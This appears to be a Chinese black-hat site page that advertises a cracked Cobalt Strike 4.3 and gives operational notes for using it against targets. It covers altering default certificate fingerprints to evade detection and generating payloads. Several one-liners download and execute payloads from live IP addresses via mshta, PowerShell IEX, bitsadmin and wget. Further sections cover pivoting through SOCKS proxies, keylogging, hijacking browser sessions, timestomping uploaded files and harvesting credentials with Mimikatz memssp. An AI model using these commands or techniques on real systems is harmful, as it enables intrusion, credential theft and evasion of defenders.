富贵长生天做主由不得我
钢骨正气我做主由不得天

CobaltStrike 4.3 破解版【最新】

CobaltStrike

  • 建议收藏 _ CS学习笔记合集.pdf
  • CobaltStrike4.0用户手册.pdf
  • 已经配置了监听360.exe监听端口为1234

指纹信息修改

证书查看

  1. 通过keytool查看CobaltStrike默认store文件

image

以上默认CobaltStrike特征,特征十分明显,为了掩盖默认SSL证书存在的特征,删除 CobaltStrike 自带的cobaltstrike.store,使用以下命令生成一个新的 cobaltstrike.store即
可!然后客户端连接即可。

#说明 keytool ‐keystore cobaltstrike.store ‐storepass 123456 ‐keypass 123456 ‐gen key ‐keyalg RSA ‐alias baidu.com ‐dname "CN=(名字与姓氏), OU=(组织单位名称),  O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)"

#用法 ‐alias 指定别名 ‐storepass pass 和 ‐keypass pass 指定密钥 ‐keyalg 指定算法 ‐dname 指定所有者信息

keytool -keystore CobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN" keytool ‐importkeystore ‐srckeystore cobaltstrike.store ‐destkeystore cobaltstrike.store ‐deststoretype pkcs12

image

修改以后再次查看CobaltStrike的默认store文件

image

修改配置

  1. 修改默认teamserver配置文件

image

即可。

安装和新建监听

  • 附件
    cobaltstrike3.14.zip
    cobaltstrike4.0CN.zip
  • 注意:如果出现这个这个异常界面,多开一个窗口即可

image

  • 出现闪退将-javaagent:CobaltStrikeCN.jar即可(造成闪退的原因可能是汉化的问题)

image

  • 使用手册—-CobaltStrike4.0用户手册.pdf
  • 需要安装Java环境
  • 端口修改—-直接打开teamserver脚本文件划到最后找到-Dcobaltstrike.server_port=50050 把50050修改成你先设置的端口

安装

  1. 将cobaltstrike.jar和teamserver,cobaltstrike.auth上传到服务器并对teamserver赋权操作(chmod +x teamserver)
  1. nohup ./teamserver IP 密码 &

image

Beacon

SMB Beacon

因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败)。

SMB Beacon监听器对“提升权限”和“横向渗透”中很有用。

主机上线后,新建一个SMB Beacon,输入监听器名称,选择Beacon SMB,管道名称可以直接默认,也可以自定义。

image

接下来在Beacon中直接输入spawn SMB,这里的SMB指代的是创建的SMB Beacon的监听器名称,也可以直接右击session,在Spawn选项中选择刚添加的SMB Beacon。

image

等待一会儿,就可以看到派生的SMB Beacon,在external中可以看到IP后有个∞∞字符。

接下来我这里将SMB Beacon插入到进程中,以Everything进程为例。

image

image

在Everything中插入SMB Beacon后,便能看到process为Everything.exe的派生SMB Beacon。

image

在CS中,如果获取到目标的管理员权限,在用户名后会有*号标注,通过这个区别,可以判断出当前上线的test用户为普通权限用户,因此这里给他提升一下权限。

Packages

HTML Application

image

executable

image

mshta.exe http://122.51.93.116/test.hta

无法上线

VBA(免杀)

mshta http://62.234.56.229:8012/download/file.ext

不关闭关闭windows defender,也可正常上线

process为rundll32.exe

image

powershell

#可通过链接正常上线 mshta http://62.234.56.229:801/download/file.ext  #通过文件无法直接上线 mshta file.ext

进程为powershell。
image

可以正常上线,需要关闭windows defender。

Microsoft Office

payload Generator

本次所使用的攻击机为kali linux系统,攻击过程中涉及到的工具主要有:proxychains,nmap等。攻击的拓扑结构如下图所示。

image

进入CobaltStrike客户端控制面板以后,依次点击Attacks>Payload Generator选项,设置监听以及生成payload。

image

点击Add选项后,设置监听方式及监听的端口号,输出方式选择

Powershell Command

image

如下为生成的powershell形式的payload

image

image

将复制的payload.txt内容在目标服务器主机上执行,如下所示:

image

页面一闪而过,成功上线(cmd下运行。powershell下运行会报错)。

其他均无法直接运行上线

image

Windows Excutable

该程序包生成一个 Windows 可执行 Artifact,用于传送一个 payload stager。这个程序包为你提供了 多种输出选项。

image

Windows EXE

  • Windows 可执行文件

该程序包生成一个 Windows 可执行 Artifact,用于传送一个 payload stager。

image

image

运行直接上线

Windows Service EXE

Windows Service EXE 是一个 Windows 可执行文件,可响应 Service Control Manager 命令。你可以 使用这个可执行文件来作为使用 sc 命令起的 Windows 服务的调用程序,或使用 Metasploit 框架的 PsExec 模块生成一个自定义的可执行文件。

无法直接运行上线

Windows DLL(32/64-bit)

  • 是一个 x86 的 Windows DLL。

Windows DLL(64-bit)是一个 x64 的 Windows DLL。这个 DLL 会派生一个 32 位的进程,并且将你 的监听器迁移至其上。这两个 DLL 选项都会导出一个开始功能,此功能与 rundll32.exe 相兼容。使用 rundll32.exe 来从命令行加载你的 DLL。

rundll32 foo.dll,Start

image

正常上线

Windows Excutable(s)

  • s—>stager

该程序包直接导出 Beacon(也就是 payload stage),这个 Beacon 是作者写好的32或64位 DLL,是 一个不使用 stager 的可执行文件,直接和监听器连接、传输数据和命令。一个不使用 stager 的 payload Artifact被称为无阶段的 Artifact。这个程序包也有 PowerShell 选项来导出 Beacon 作为一个 PowerShell 脚本,或 raw 选项导出与位置无关的 beacon 代码。 默认情况下,这个对话导出 x86 payload stage。勾选 Use x64 payload 框来使用 x64 Artifact 生成 一个 x64 stage。 勾选 Sign executable file 框来使用代码签名的证书来签名一个 EXE 或 DLL Artifact。

image

####Powershell

无法直接上线

Raw

生成beacon.bin文件,无法直接上线

Windows EXE

可直接上线

Windows Service EXE

无法直接上线

Windows DLL(32/64-bit)

可直接上线

Web Drive-by

Manager

Manager: 管理器,用于对通过Web Drive-by模块上已经开启的Web服务进行管理,包括Listener和Web Deliver、Script Web Delivery、Host File、Clone site。

image

Clone site

用于克隆指定网站额样式,只能克隆某个页面

image

image

image

Host File

生成一个文件下载链接,进行文件下载。

image

Script Web Delivery

基于web的攻击测试脚本,自动生成可执行的payload,可通过powershell、bitadmin、python直接上线。

  • powershell上线

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://62.234.56.229:812/a'))"

image

image

  • bitsadmin上线

cmd.exe /c bitsadmin /transfer 4e95 http://62.234.56.229:80/a %APPDATA%\4e95.exe&%APPDATA%\4e95.exe&del %APPDATA%\4e95.exe

image

  • python上线(支持python2)并且对架构要求严格,在x64上使用x86的payload无法上线。

image

image

Signed Applet Attack

smart Applet Attack

System profiler

客户端检测工具,可以用来获取一些系统信息,例如系统版本、浏览器版本等

鱼叉式网络钓鱼

Proxy

在获得了基础的交互shell以后,选择该beacon右键,依次点击Pivoting->SOCKS Server选项,并设定相应的端口号,此处系统默认的端口号为14210。

开启socks4服务

image

image

image

或者使用命令socks [port]进行设置

使用命令socks stop关闭 Socks 代理服务

在View –> Proxy Pivots中可以看到已经创建的代理服务

image

代理工具

proxychains

linux代理工具

vi /etc/proxychains.conf socks4 127.0.0.1 23612

执行

proxychains nmap -sT -Pn 192.168.237.129

image

SocksCap64

Metasploit 连接到 Socks 代理服务

CS 中创建好代理后,在 Metasploit 中可以运行以下命令通过 beacon 的 Socks 代理进行通信

在Proxy Pivots界面中点击Tunnel按钮查看命令。

image

setg Proxies socks4:62.234.56.229:35297

通过运行以下命令来停止

unsetg Proxies

setg 命令和 unsetg 表示在 metasploit 中全局有效,不用在每次选择模块后再重新设置。

具体操作

msf5 > setg Proxies socks4:192.168.175.200:9527 Proxies => socks4:192.168.175.200:9527

CrossC2

4.0的只能上线 无法其他操作,3.1.4的可以进行上线操作

  • 解决linux/mac目标机上线cs

install

  • 附件 genCC2.7z

image

  1. 服务器木马生成

  • 需要使用服务器证书.cobaltstrike.beacon_keys(否则会遇到无法上线)
  • 选择https监听器

chmod +x genCrossC2.Linux ./genCrossC2.Linux 122.51.93.116 5556 .cobaltstrike.beacon_keys null Linux x64 /home/http/linux/CrossC2-test

image

linux木马生成成功。

image

使用

命令执行

wget http://62.234.56.229:8080/CrossC2-test -O /tmp/.gdPSeXTkyb && chmod 777 /tmp/.gdPSeXTkyb && /tmp/.gdPSeXTkyb && sleep 7 && rm -f /tmp/.gdPSeXTkyb

image

  • cs成功上线

image

重定向器

保护自己的CS服务器,避免目标发现自己的真实IP

MSF 与 CS 的结合利用

后渗透

Beacon的管理

Beacon 控制台:在 Beacon 的控制台中的输入与输出之间,是一个状态栏,状态栏上的信息分别是:目标 NetBIOS 名称、用户名、会话PID以及 Beacon 最近一次连接到 CS 团队服务器的时间。

在CS中,如果获取到目标的管理员权限,在用户名后会有*号标注,通过这个区别,可以判断出当前上线的用户权限。

image

Beacon 命令

help:查看 Beacon 命令的帮助信息。使用 help + 待查看帮助的命令可查看该命令的帮助信息。  clear:清除 Beacon 命令队列。Beacon 是一个异步的 Payload,输入的命令并不会立即执行,而是当 Beacon 连接到团队服务器时再一一执行命令,因此当需要清除队列命令时就可以使用 clear 命令。  sleep:改变 Beacon 的休眠时间。输入 sleep 30表示休眠30秒;输入sleep 60 50表示,随机睡眠 30秒至60秒,其中30秒 = 60 x 50%;如果输入 sleep 0则表示进入交互模式,任何输入的命令都会被立即执行,当输入一些命令,比如desktop时, Beacon 会自动进入交互模式。  shell:通过受害主机的 cmd.exe 执行命令。比如运行ipconfig,就需要输入shell ipconfig  run:不使用 cmd.exe 执行命令。该命令也是 run + 命令的形式运行,该命令会将执行结果回显。  execute:执行命令,但不回显结果。  cd:切换当前工作目录。  pwd:查看当前所在目录。  powershell:通过受害主机的 PowerShell 执行命令。比如想在 PowerShell 下运行 ipconfig,就需要输入powershell ipconfig  powerpick:不使用 powershell.exe 执行 powershell 命令。这个命令依赖于由 Lee Christensen 开发的非托管 PowerShell 技术。powershell 和 powerpick 命令会使用当前令牌( token )。  psinject:将非托管的 PowerShell 注入到一个特定的进程中并从此位置运行命令。  powershell-import:导入 PowerShell 脚本到 Beacon 中。直接运行 powershell-import + 脚本文件路径即可,但是这个脚本导入命令一次仅能保留一个 PowerShell 脚本,再导入一个新脚本的时候,上一个脚本就被覆盖了,因此可以通过导入一个空文件来清空 Beacon 中导入的脚本。  powershell get-help:获取 PowerShell 命令的相关帮助信息。比如想获取 PowerShell 下 get-process 命令的帮助,就需要输入powershell get-help  get-process  execute-assembly:将一个本地的 .NET 可执行文件作为 Beacon 的后渗透任务来运行。  setenv:设置一个环境变量。

会话传递

会话传递相关命令

Beacon 被设计的最初目的就是向其他的 CS 监听器传递会话。  spawn:进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。  spawnto:该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为。  inject:输入inject + 进程 id + 监听器名来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64来将一个64位 Beacon 注入到一个 64位进程中。  spawn和inject命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。  dllinject:dllinject + [pid]来将一个反射性 DLL 注入到一个进程中。  shinject:使用shinject [pid] [架构] [/路径/.../file.bin]命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。  shspawn:使用shspawn [架构] [/路径/.../file.bin]命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中。  dllload:使用dllload [pid] [c:\路径\...\file.dll]来在另一个进程中加载磁盘上的 DLL文件。

会话传递使用场景

1、将当前会话传递至其他CS团队服务器中,直接右击spawn选择要传递的监听器即可。

2、将当前会话传递至MSF中,这里简单做一下演示。

首先,在MSF中,为攻击载荷新建一个payload

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https msf5 exploit(multi/handler) > set lhost 192.168.175.156 msf5 exploit(multi/handler) > set lport 443 msf5 exploit(multi/handler) > exploit -j

随后,在CS中新建一个外部Foreign监听器,这里设置的监听IP与端口和MSF中的一致即可,随后在CS中利用spawn选择刚新建的外部监听器,MSF中即可返回会话。

文件系统

浏览会话系统文件位置在右击会话处,选择Explore –> File Browser即可打开。在这里可以对当前会话下的文件进行浏览、上传、下载、删除等操作。

在进行文件浏览时,如果 beacon 设置的 sleep 值较高,CS会因此而变得响应比较慢。

彩色文件夹表示该文件夹的内容位于此文件浏览器的缓存中;深灰色的文件夹表示该文件夹的内容不在此文件浏览器缓存中。

文件下载

download:下载请求的文件。Beacon 会下载它的任务要求获取的每一个文件的固定大小的块。这个块的大小取决于 Beacon 当前的数据通道。HTTP 和 HTTPS 通道会拉取 512kb 的数据块。

downloads:查看当前 Beacon 正在进行的文件下载列表。

cancel:该命令加上一个文件名来取消正在进行的一个下载任务。也可以在 cancel 命令中使用通配符来一次取消多个文件下载任务。

下载文件都将下载到CS团队服务器中,在View –> Download下可看到下载文件的记录,选中文件后使用Sync Files即可将文件下载到本地。

文件上传

upload:上传一个文件到目标主机上。

timestomp:将一个文件的修改属性访问属性和创建时间数据与另一个文件相匹配。当上传一个文件时,有时会想改变此文件的时间戳来使其混入同一文件夹下的其他文件中,使用timestomp 命令就可以完成此工作。

用户驱动溢出攻击

Beacon 运行任务的方式是以jobs去运行的,比如键盘记录、PowerShell 脚本、端口扫描等,这些任务都是在 beacon check in 之间于后台运行的。

jobs:查看当前 Beacon 中的任务

jobkill:加上任务 ID,对指定任务进行停止

屏幕截图

screenshot:获取屏幕截图,使用screenshot pid来将截屏工具注入到一个 x86 的进程中,使用screenshot pid x64注入到一个 x64 进程中,explorer.exe 是一个好的候选程序。

使用screenshot [pid] [x86|x64] [time]来请求截屏工具运行指定的秒数,并在每一次 Beacon 连接到团队服务器的时候报告一张屏幕截图,这是查看用户桌面的一种简便方法。要查看截屏的具体信息,通过View –> Screenshots来浏览从所有 Beacon 会话中获取的截屏。

键盘记录

keylogger:键盘记录器,使用keylogger pid来注入一个 x86 程序。使用keylogger pid x64来注入一个 x64 程序,explorer.exe 是一个好的候选程序。

使用单独的 keylogger 命令来将键盘记录器注入一个临时程序。键盘记录器会监视从被注入的程序中的键盘记录并将结果报告给 Beacon,直到程序终止或者自己杀死了这个键盘记录后渗透任务。要查看键盘记录的结果,可以到View –> Keystrokes中进行查看。

浏览器转发

浏览器转发是指在已经攻击成功的目标中,利用目标的信息登录网站进行会话劫持,但是目前只支持目标正在使用IE浏览器的前提下。关于如何判断当前用户是否使用IE浏览器,则可以通过屏幕截图来判断。如下图中,通过屏幕截图可以看到目标正在使用IE浏览器登陆着当前网站的admin账户。

image

找到目前正在使用IE浏览器的目标后,右击该会话,选择Explore –> Browser Pivot,随后选择要注入的进程,CS 会在它认为可以注入的进程右边显示一个对勾,设置好端口后,点击运行即可。

此时,在浏览器中配置代理,代理配置为http代理,IP为CS团队服务器IP,端口为刚设置的端口。

代理配置好后,在浏览器中打开目标当前正在打开的网址,即可绕过登录界面。

端口扫描

portscan:进行端口扫描,使用参数为:portscan [targets] [ports] [discovery method]。

目标发现discovery method有三种方法,分别是:arp、icmp、none,arp方法使用 ARP 请求来发现一个主机是否存活。icmp方法发送一个 ICMP echo 请求来检查一个目标是否存活。none选项让端口扫描工具假设所有的主机都是存活的。

端口扫描会在 Beacon 和团队服务器通讯的这个过程中不停运行。当它有可以报告的结果,它会把结果发送到 Beacon 控制台。Cobalt Strike 会处理这个信息并使用发现的主机更新目标模型。

右击 Beacon会话,在Explore –> Port Scan中即可打开端口扫描的图形窗口,CS会自动填充扫描地址,确认扫描地址、端口、扫描方式等无误后,开始扫描即可。扫描结束后,在 target table页面中可看到扫描结果,右击会话,选择 Services 可查看详细的扫描结果。

image

image

可以看到所有的扫描结果

image

选择服务可查看详细的扫描结果。

image

image

还可以选择登陆其他的服务器

image

远程vnc

直接新建一个窗口进行控制

image

提权

Beacon中的Mimikatz

想获取当前用户的密码,可以运行mimikatz,右击管理员权限会话选择Access –> Run Mimikatz,或在控制台运行logonpasswords命令。

image

在View –> Credentials下可以查看到hashdump与mimikatz获取的数据。

image

以上的这些只是mimikatz能做事情的一小部分,下面看看!misc::memssp的使用。

mimikatz !misc::memssp cd C:\Windows\system32 shell dir mimilsa.log shell type mimilsa.log

详细运行过程:

接下来来到C:\Windows\system32目录

 beacon> cd C:\Windows\system32 [*] cd C:\Windows\system32 [+] host called home, sent: 27 bytes  beacon> shell dir mimilsa.log [*] Tasked beacon to run: dir mimilsa.log [+] host called home, sent: 46 bytes [+] received output:  驱动器 C 中的卷没有标签。卷的序列号是 BE29-9C84   C:\Windows\system32 的目录  2020/07/23  21:47                24 mimilsa.log  1 个文件             24 字节  0 个目录 17,394,728,960 可用字节

可以看到是存在mimilsa.log文件的,此时待目标主机重新登录,比如电脑锁屏后用户进行登录。

查看mimilsa.log文件内容。

 beacon> shell type mimilsa.log [*] Tasked beacon to run: type mimilsa.log [+] host called home, sent: 47 bytes [+] received output: [00000000:000003e5] \ [00000000:002b99a7] WIN-75F8PRJM4TP\Administrator    Password123!

横向扩展

Windows 企业局域网环境介绍

主机和用户枚举

无需恶意软件

获取信任

BypassAV

资源下载抱歉,此资源仅限VIP下载,请先
若支付成功,未回调出下载链接,请加客服右侧QQ
赞(0)
未经允许不得转载:网站快照劫持代码-快照删除-黑帽SEO » CobaltStrike 4.3 破解版【最新】

评论 抢沙发

评论前必须登录!